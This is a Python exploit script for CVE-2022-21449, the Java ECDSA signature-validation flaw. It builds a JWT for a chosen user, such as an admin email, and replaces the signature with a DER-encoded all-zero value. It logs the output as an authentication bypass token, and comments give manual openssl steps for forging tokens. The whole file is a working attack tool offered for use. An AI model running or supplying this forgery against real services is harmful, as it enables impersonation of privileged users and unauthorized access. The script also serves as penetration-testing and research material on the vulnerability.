cve-2022-21449 jwt ecdsa

#!/usr/bin/env python3
# cve-2022-21449.py
# dualfade --

# refs --
# https://bit.ly/3aVqwsC --
# https://bit.ly/3tw6z1P --

# initial jwt --
# ex: eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJ0ZXN0QHBlbnRlc3RlcmxhYi5jb20ifQ. \
#        v-VH8OTB2hQh35-lMIraL3XXjwMxxGUq8I379xZmiZKGYGIRId5HYfhRWCBWkc5srAtT3PEeHOLj_OGsXrJoug

# manual testing --
# https://bit.ly/3MKjOmq --
# cd /tmp/; openssl ecparam -name secp256k1 -genkey -noout -out ec-secp256k1-priv-key.pem
# openssl ec -in ec-secp256k1-priv-key.pem -pubout > ec-secp256k1-pub-key.pem
#   -> read EC key
#   -> writing EC key
# echo -n '{"alg":"ES256"}' | base64 | sed s/\+/-/ | sed -E s/=+$//
# echo -n '{"sub":"admin@libcurl.so"}' | base64 | sed s/\+/-/ | sed -E s/=+$//
# echo -n "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbkBsaWJjdXJsLnNvIn0" \
#         | openssl dgst -sha256 -binary -sign ec-secp256k1-priv-key.pem | openssl enc -base64 | tr -d '\n=' | tr -- '+/' '-_'
# assemble;
# how to validate ?? we won't; replace with der 0 b64 payload --

import sys
import json
import logging
from base64 import b64encode
from optparse import OptionParser

try:
    from ecdsa import (
            BadSignatureError,
            SigningKey,
            SECP256k1
            )

    from ecdsa.util import sigencode_der

except ImportError as err:
    logging.error(err)

# logging --
logger = logging.basicConfig(format='%(asctime)s - %(message)s',
                    datefmt='%d-%b-%y %H:%M:%S',
                    level=logging.INFO)


def create_es256_token(user, domain):
    """ create token; spit out encoded jwt -- """

    #NOTE: token matches challenge / update for real deal --
    # https://token.dev/ --
    h = {"alg": "ES256"}
    header = json.dumps(h)
    b64_header = b64encode(header.encode()).strip(b"=")

    email = '@'.join([user, domain])
    p = {"sub": "{}".format(email)}
    payload = json.dumps(p)
    b64_payload = b64encode(payload.encode()).strip(b"=")

    token = b'.'.join([b64_header, b64_payload])
    logging.info('token prefix => {}'.format(token))

    # gen ec key pair --
    sk = SigningKey.generate(curve=SECP256k1)
    vk = sk.verifying_key

    sig = sk.sign(token)
    b64_sig = b64encode(sig).strip(b"=")
    full_jwt = b'.'.join([token, b64_sig])

    # std output --
    logging.info(sk)
    logging.info(vk)
    logging.info(b64_sig)
    try:
        # check for BadSignatureError --
        # strip and replace after --
        logging.info('verify status => %s' % (vk.verify(sig, token))) # pyright: ignore
        logging.info('jwt => %s' % (full_jwt))
    except BadSignatureError as err:
        logging.error('{}'.format(err))
        logging.info('jwt => %s' % (full_jwt))
        pass

    # ret --
    return token, b64_sig

def forge_signature(token, b64_sig):
    """ replace signature with forged b64 -- """

    r = sigencode_der(0, 0, 256)
    sig = b64encode(r).strip(b'=')
    encoded_jwt = b'.'.join([token, sig])
    logging.info('raw sig => {}'.format(r))
    logging.info('jwt auth bypass token => {}'.format(encoded_jwt))

def error(err):
    """ standard error messages -- """

    logging.error('[err] application error %s' % err)
    logging.error('[err] exiting now.')
    sys.exit(-1)


# main --
if __name__ == "__main__":

    try:
        # opts --
        parser = OptionParser()
        parser.add_option('-u', '--user', dest='user', help='user => admin')
        parser.add_option('-d', '--domain', dest='domain', help='domain => domain.com')

        (options, args) = parser.parse_args()

        # vars --
        user = options.user
        domain = options.domain

        if (options.user == None):
            error('=> missing input')
        elif ( options.domain == None):
            error('=> missing input')
        else:
            logging.info('[info] starting exploit')

            token, b64_sig = create_es256_token(user, domain)
            forge_signature(token, b64_sig)

            logging.info('[info] were done here, exiting')
            sys.exit(-1)
    except SystemExit:
        sys.stdout.write("\n")
        sys.stdout.flush()